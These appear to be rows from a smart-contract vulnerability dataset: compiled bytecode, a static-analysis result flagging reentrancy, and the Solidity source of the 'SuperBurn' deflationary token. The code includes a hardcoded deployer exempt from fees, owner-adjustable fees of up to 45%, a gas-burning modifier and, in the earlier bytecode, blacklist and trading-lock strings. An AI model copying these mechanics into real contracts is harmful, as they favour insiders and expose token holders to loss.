84565b9150509250925092565b600060ff82169050919050565b61301c81613006565b82525050565b60006020820190506130376000830184613013565b92915050565b61304681612c9b565b82525050565b6000602082019050613061600083018461303d565b92915050565b60006020828403121561307d5761307c612baf565b5b600061308b84828501612cc4565b91505092915050565b61309d81612ed9565b81146130a857600080fd5b50565b6000813590506130ba81613094565b92915050565b6000602082840312156130d6576130d5612baf565b5b60006130e4848285016130ab565b91505092915050565b60006020828403121561310357613102612baf565b5b600061311184828501612e84565b91505092915050565b6000806000806080858703121561313457613133612baf565b5b600061314287828801612e84565b945050602061315387828801612e84565b935050604061316487828801612e84565b925050606061317587828801612e84565b91505092959194509250565b600080fd5b60008083601f84011261319c5761319b612bb9565b5b8235905067ffffffffffffffff8111156131b9576131b8613181565b5b6020830191508360208202830111156131d5576131d4612c76565b5b9250929050565b6000806000604084860312156131f5576131f4612baf565b5b600084013567ffffffffffffffff81111561321357613212612bb4565b5b61321f86828701613186565b93509350506020613232868287016130ab565b9150509250925092565b6000806040838503121561325357613252612baf565b5b600061326185828601612cc4565b925050602061327285828601612cc4565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006132b2602083612dc4565b91506132bd8261327c565b602082019050919050565b600060208201905081810360008301526132e1816132a5565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061335182612e63565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561338457613383613317565b5b600182019050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006133eb602683612dc4565b91506133f68261338f565b604082019050919050565b6000602082019050818103600083015261341a816133de565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061347d602483612dc4565b915061348882613421565b604082019050919050565b600060208201905081810360008301526134ac81613470565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061350f602283612dc4565b915061351a826134b3565b604082019050919050565b6000602082019050818103600083015261353e81613502565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006135a1602583612dc4565b91506135ac82613545565b604082019050919050565b600060208201905081810360008301526135d081613594565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613633602383612dc4565b915061363e826135d7565b604082019050919050565b6000602082019050818103600083015261366281613626565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006136c5602983612dc4565b91506136d082613669565b604082019050919050565b600060208201905081810360008301526136f4816136b8565b9050919050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b6000613757603f83612dc4565b9150613762826136fb565b604082019050919050565b600060208201905081810360008301526137868161374a565b9050919050565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b60006137c3601c83612dc4565b91506137ce8261378d565b602082019050919050565b600060208201905081810360008301526137f2816137b6565b9050919050565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b6000613855602383612dc4565b9150613860826137f9565b604082019050919050565b6000602082019050818103600083015261388481613848565b9050919050565b600061389682612e63565b91506138a183612e63565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156138d6576138d5613317565b5b828201905092915050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b600061393d602383612dc4565b9150613948826138e1565b604082019050919050565b6000602082019050818103600083015261396c81613930565b9050919050565b600061397e82612e63565b915061398983612e63565b92508282101561399c5761399b613317565b5b828203905092915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000613a03602a83612dc4565b9150613a0e826139a7565b604082019050919050565b60006020820190508181036000830152613a32816139f6565b9050919050565b600081519050613a4881612cad565b92915050565b600060208284031215613a6457613a63612baf565b5b6000613a7284828501613a39565b91505092915050565b6000819050919050565b6000613aa0613a9b613a9684613a7b565b612f0f565b612e63565b9050919050565b613ab081613a85565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613aeb81612c9b565b82525050565b6000613afd8383613ae2565b60208301905092915050565b6000602082019050919050565b6000613b2182613ab6565b613b2b8185613ac1565b9350613b3683613ad2565b8060005b83811015613b67578151613b4e8882613af1565b9750613b5983613b09565b925050600181019050613b3a565b5085935050505092915050565b600060a082019050613b896000830188612f89565b613b966020830187613aa7565b8181036040830152613ba88186613b16565b9050613bb7606083018561303d565b613bc46080830184612f89565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613c0882612e63565b9150613c1383612e63565b925082613c2357613c22613bce565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613c64601b83612dc4565b9150613c6f82613c2e565b602082019050919050565b60006020820190508181036000830152613c9381613c57565b9050919050565b6000613ca582612e63565b9150613cb083612e63565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613ce957613ce8613317565b5b828202905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613d50602183612dc4565b9150613d5b82613cf4565b604082019050919050565b60006020820190508181036000830152613d7f81613d43565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212206adf7a35bacb662852d94a46112f5c9a4f7817fedd85378a3b5a9d0b58a8482364736f6c63430008090033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}} | 1,443 |
0xac0a5d624237b6c53c5f756490e38d2ae329e561 | /*
* SuperBurn (SBURN) is a extreme-deflationary, low-supply ERC 20 token, where on each transaction an insane percentage
* of tokens are burned, thus reducing supply and pushing the price of the token. To kick things off, the burn rate will
* be at an insane 10% after which every day, the burn rate will continue to increase until it reaches 45%
*
* https://t.me/SuperBurn
*/
pragma solidity ^0.5.17;
contract Context
{
constructor() internal {}
function _msgSender() internal view returns (address payable)
{
return msg.sender;
}
function _msgData() internal view returns (bytes memory)
{
this;
return msg.data;
}
}
contract Ownable is Context
{
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() internal
{
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address)
{
return _owner;
}
modifier onlyOwner()
{
require(isOwner(), "Ownable: caller is not the owner");
_;
}
function isOwner() public view returns (bool)
{
return _msgSender() == _owner;
}
function renounceOwnership() public onlyOwner
{
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner
{
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal
{
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath
{
function add(uint256 a, uint256 b) internal pure returns (uint256)
{
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256)
{
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256)
{
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
// Gas Optimization
function mul(uint256 a, uint256 b) internal pure returns (uint256)
{
if (a == 0)
{
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256)
{
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256)
{
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256)
{
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256)
{
require(b != 0, errorMessage);
return a % b;
}
function ceil(uint256 a, uint256 m) internal pure returns (uint256)
{
uint256 c = add(a,m);
uint256 d = sub(c,1);
return mul(div(d,m),m);
}
}
interface IERC20
{
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20Detailed is IERC20
{
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public
{
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory)
{
return _name;
}
function symbol() public view returns (string memory)
{
return _symbol;
}
function decimals() public view returns (uint8)
{
return _decimals;
}
}
contract GasPump
{
bytes32 private stub;
uint256 private constant target = 10000;
modifier requestGas()
{
if (tx.gasprice == 0 || gasleft() > block.gaslimit)
{
_;
uint256 startgas = gasleft();
while (startgas - gasleft() < target)
{
// Burn gas
stub = keccak256(abi.encodePacked(stub));
}
}
else
{
_;
}
}
}
contract SuperBurn is Context, Ownable, ERC20Detailed, GasPump
{
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) public whitelistFrom;
mapping(address => bool) public whitelistTo;
// Wallets
address deployerWallet = 0xfE5E024b8CFd081C44e276BC8334A5BC602e07Fd;
address uniswapWallet = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
string constant tokenName = "SuperBurn";
string constant tokenSymbol = "SBURN";
uint8 constant tokenDecimals = 18;
uint256 private _totalSupply = 100 * (10 ** 18);
uint256 public basePercent = 100;
bytes32 private lastHash;
event TransferFeeChanged(uint256 newFee);
bool private activeFee;
uint256 public transferFee; // Fee as percentage, where 123 = 1.23%
constructor() public ERC20Detailed(tokenName, tokenSymbol, tokenDecimals)
{
_mint(msg.sender, _totalSupply);
}
function totalSupply() public view returns (uint256)
{
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256)
{
return _balances[account];
}
function transfer(address recipient, uint256 amount) public returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient,uint256 amount) public returns (bool)
{
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue)
public
returns (bool)
{
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
returns (bool)
{
_approve(_msgSender(), spender,
_allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function burn(uint256 amount) public
{
_burn(_msgSender(), amount);
}
function burnFrom(address account, uint256 amount) public
{
_burnFrom(account, amount);
}
function setTransferFee(uint256 fee) public onlyOwner
{
// Maximum Possible Fee is 45%
require(fee <= 4500, "Fee cannot be greater than 50%");
if (fee == 0)
{
activeFee = false;
}
else
{
activeFee = true;
}
transferFee = fee;
emit TransferFeeChanged(fee);
}
function _transfer(address sender, address recipient, uint256 amount) internal requestGas
{
// Checks that it's not the burn address
require(amount <= _balances[sender]);
require(recipient != address(0), "ERC20: transfer to the zero address");
// Allow deployer to not get affected by fees, etc
if (msg.sender == deployerWallet)
{
// Subtract from sender balance
_balances[sender] = _balances[sender].sub(amount);
// Add to recipient balance
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
// Not UniSwap Wallet Transaction + Fees are set
else if (sender != uniswapWallet && activeFee == true)
{
// Subtract from sender balance
_balances[sender] = _balances[sender].sub(amount);
uint256 tokensToBurn = transferFee.mul(amount).div(10000);
// Transfer amount - set burn fee
uint256 tokensToTransfer = amount.sub(tokensToBurn);
// Add to recipient balance
_balances[recipient] = _balances[recipient].add(tokensToTransfer);
// Subtract burned amount from supply
_totalSupply = _totalSupply.sub(tokensToBurn);
// Transaction Documentation Log
emit Transfer(sender, recipient, tokensToTransfer);
emit Transfer(sender, address(0), tokensToBurn);
}
// UniSwap Wallet or No fees set
else
{
// Subtract from sender balance
_balances[sender] = _balances[sender].sub(amount);
// Transfer amount
uint256 tokensToTransfer = amount;
// Add to recipient balance
_balances[recipient] = _balances[recipient].add(tokensToTransfer);
// Transaction Documentation Log
emit Transfer(sender, recipient, tokensToTransfer);
}
}
function _mint(address account, uint256 amount) internal
{
require(amount != 0);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal
{
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal
{
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _burnFrom(address account, uint256 amount) internal
{
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
}
} | 0x608060405234801561001057600080fd5b50600436106101425760003560e01c806379cc6790116100b8578063a457c2d71161007c578063a457c2d714610611578063a9059cbb14610677578063acb2ad6f146106dd578063c5ac0ded146106fb578063dd62ed3e14610719578063f2fde38b1461079157610142565b806379cc6790146104a65780638da5cb5b146104f45780638f02bb5b1461053e5780638f32d59b1461056c57806395d89b411461058e57610142565b8063313ce5671161010a578063313ce56714610330578063395093511461035457806342966c68146103ba57806343684b21146103e857806370a0823114610444578063715018a61461049c57610142565b806306fdde0314610147578063095ea7b3146101ca57806316b627d11461023057806318160ddd1461028c57806323b872dd146102aa575b600080fd5b61014f6107d5565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561018f578082015181840152602081019050610174565b50505050905090810190601f1680156101bc5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610216600480360360408110156101e057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610877565b604051808215151515815260200191505060405180910390f35b6102726004803603602081101561024657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610895565b604051808215151515815260200191505060405180910390f35b6102946108b5565b6040518082815260200191505060405180910390f35b610316600480360360608110156102c057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108bf565b604051808215151515815260200191505060405180910390f35b610338610998565b604051808260ff1660ff16815260200191505060405180910390f35b6103a06004803603604081101561036a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109af565b604051808215151515815260200191505060405180910390f35b6103e6600480360360208110156103d057600080fd5b8101908080359060200190929190505050610a62565b005b61042a600480360360208110156103fe57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a76565b604051808215151515815260200191505060405180910390f35b6104866004803603602081101561045a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a96565b6040518082815260200191505060405180910390f35b6104a4610adf565b005b6104f2600480360360408110156104bc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c18565b005b6104fc610c26565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61056a6004803603602081101561055457600080fd5b8101908080359060200190929190505050610c4f565b005b610574610dc7565b604051808215151515815260200191505060405180910390f35b610596610e25565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105d65780820151818401526020810190506105bb565b50505050905090810190601f1680156106035780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61065d6004803603604081101561062757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ec7565b604051808215151515815260200191505060405180910390f35b6106c36004803603604081101561068d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f94565b604051808215151515815260200191505060405180910390f35b6106e5610fb2565b6040518082815260200191505060405180910390f35b610703610fb8565b6040518082815260200191505060405180910390f35b61077b6004803603604081101561072f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fbe565b6040518082815260200191505060405180910390f35b6107d3600480360360208110156107a757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611045565b005b606060018054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561086d5780601f106108425761010080835404028352916020019161086d565b820191906000526020600020905b81548152906001019060200180831161085057829003601f168201915b5050505050905090565b600061088b6108846110cb565b84846110d3565b6001905092915050565b60086020528060005260406000206000915054906101000a900460ff1681565b6000600b54905090565b60006108cc8484846112ca565b61098d846108d86110cb565b6109888560405180606001604052806028815260200161291b60289139600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061093e6110cb565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121779092919063ffffffff16565b6110d3565b600190509392505050565b6000600360009054906101000a900460ff16905090565b6000610a586109bc6110cb565b84610a5385600660006109cd6110cb565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461223790919063ffffffff16565b6110d3565b6001905092915050565b610a73610a6d6110cb565b826122bf565b50565b60076020528060005260406000206000915054906101000a900460ff1681565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610ae7610dc7565b610b59576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610c228282612479565b5050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610c57610dc7565b610cc9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b611194811115610d41576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f4665652063616e6e6f742062652067726561746572207468616e20353025000081525060200191505060405180910390fd5b6000811415610d6a576000600e60006101000a81548160ff021916908315150217905550610d86565b6001600e60006101000a81548160ff0219169083151502179055505b80600f819055507f0496ed1e61eb69727f9659a8e859288db4758ffb1f744d1c1424634f90a257f4816040518082815260200191505060405180910390a150565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610e096110cb565b73ffffffffffffffffffffffffffffffffffffffff1614905090565b606060028054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610ebd5780601f10610e9257610100808354040283529160200191610ebd565b820191906000526020600020905b815481529060010190602001808311610ea057829003601f168201915b5050505050905090565b6000610f8a610ed46110cb565b84610f85856040518060600160405280602581526020016129ac6025913960066000610efe6110cb565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121779092919063ffffffff16565b6110d3565b6001905092915050565b6000610fa8610fa16110cb565b84846112ca565b6001905092915050565b600f5481565b600c5481565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61104d610dc7565b6110bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6110c881612548565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611159576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806129886024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806128d86022913960400191505060405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b60003a14806112d85750455a115b15611a4d57600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481111561132957600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113af576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602381526020018061286d6023913960400191505060405180910390fd5b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156115995761145781600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461268c90919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506114ec81600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461223790919063ffffffff16565b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3611a01565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160a575060011515600e60009054906101000a900460ff161515145b1561186a5761166181600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461268c90919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060006116cf6127106116c184600f546126d690919063ffffffff16565b61275c90919063ffffffff16565b905060006116e6828461268c90919063ffffffff16565b905061173a81600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461223790919063ffffffff16565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061179282600b5461268c90919063ffffffff16565b600b819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050611a00565b6118bc81600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461268c90919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600081905061195681600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461223790919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505b5b60005a90505b6127105a82031015611a47576004546040516020018082815260200191505060405160208183030381529060405280519060200120600481905550611a07565b50612172565b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115611a9957600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b1f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602381526020018061286d6023913960400191505060405180910390fd5b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415611d0957611bc781600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461268c90919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611c5c81600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461223790919063ffffffff16565b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3612171565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611d7a575060011515600e60009054906101000a900460ff161515145b15611fda57611dd181600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461268c90919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000611e3f612710611e3184600f546126d690919063ffffffff16565b61275c90919063ffffffff16565b90506000611e56828461268c90919063ffffffff16565b9050611eaa81600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461223790919063ffffffff16565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f0282600b5461268c90919063ffffffff16565b600b819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050612170565b61202c81600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461268c90919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060008190506120c681600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461223790919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505b5b5b505050565b6000838311158290612224576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156121e95780820151818401526020810190506121ce565b50505050905090810190601f1680156122165780820380516001836020036101000a0319